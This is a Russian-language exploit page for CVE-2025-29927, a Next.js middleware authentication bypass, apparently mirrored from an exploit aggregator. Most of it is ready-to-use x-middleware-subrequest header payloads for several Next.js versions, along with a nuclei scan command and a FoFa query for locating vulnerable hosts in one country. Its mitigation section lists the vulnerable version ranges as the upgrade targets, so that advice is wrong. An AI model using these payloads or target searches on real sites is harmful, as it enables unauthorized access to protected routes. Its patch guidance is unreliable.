Exploit for CVE-2025-29927

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KH4SH3I-CVE-2025-29927
#    
![](https://assets.kitploit.com/production/public/readmes/27998/e4e492b9cacbe5a40e7d7ff6ff4f488adaa9a2346f62b25a97c8e9e1738227e1.png)   
![](https://img.shields.io/badge/PRs-welcome-blue) ![](https://img.shields.io/github/last-commit/kh4sh3i/CVE-2025-29927) ![](https://img.shields.io/github/commit-activity/m/kh4sh3i/CVE-2025-29927) ![](https://img.shields.io/twitter/follow/kh4sh3i_?style=flat&logo=twitter) ![](https://img.shields.io/github/stars/kh4sh3i?style=flat&logo=github)

# CVE-2025-29927

CVE-2025-29927: уязвимость обхода middleware в Next.js Этот репозиторий демонстрирует уязвимость CVE-2025-29927 в Next.js, где внутренний заголовок x-middleware-subrequest может использоваться для обхода проверок middleware, таких как аутентификация.

![](https://assets.kitploit.com/production/public/readmes/27998/7e29728dfb487e768ea19913118b551d03482ec99d53225b5fc2dc4ec9b57fb2.jpg)

## Затронутые версии

root@kitploit:~
    
    
    Next.js 15.x < 15.2.3
    Next.js 14.x < 14.2.25
    Next.js 13.x < 13.5.9
    

## Смягчение и устранение уязвимости

  * Обновите Next.js до исправленных версий:



root@kitploit:~
    
    
    Next.js 15.x < 15.2.3
    Next.js 14.x < 14.2.25
    Next.js 13.x < 13.5.9
    

  * Если немедленное обновление невозможно, заблокируйте или удалите заголовок x-middleware-subrequest на уровне веб-сервера или прокси:



## Сценарии воздействия

  * Обход авторизации: злоумышленники могут получить доступ к защищённым маршрутам без надлежащей аутентификации или авторизации.
  * Обход Content Security Policy (CSP): если заголовки CSP добавляются через middleware, злоумышленники могут обойти эти средства контроля безопасности, что потенциально позволяет проводить атаки с межсайтовым скриптингом (XSS).
  * Отказ в обслуживании через отравление кэша: в определённых конфигурациях злоумышленники могут отравить кэш несанкционированным содержимым, обходя middleware, устанавливающий заголовки управления кэшем.



## Использование шаблона Nuclei nextjs-CVE-2025-29927

root@kitploit:~
    
    
    nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr
    

## Эксплуатация в различных версиях Next.js

  * Для версий до 12.2:



root@kitploit:~
    
    
    x-middleware-subrequest: pages/_middleware
    x-middleware-subrequest: pages/dashboard/_middleware
    x-middleware-subrequest: pages/dashboard/panel/_middleware
    

  * Для версий 12.2 и новее:



root@kitploit:~
    
    
    x-middleware-subrequest: middleware
    x-middleware-subrequest: src/middleware
    

  * Для версий 13.2.0 и новее:



root@kitploit:~
    
    
    x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
    x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
    

## Поиск целей с помощью FoFa

root@kitploit:~
    
    
    header="x-middleware-rewrite" && country="IR"
    

### бесплатный CTF для этого

  * CTF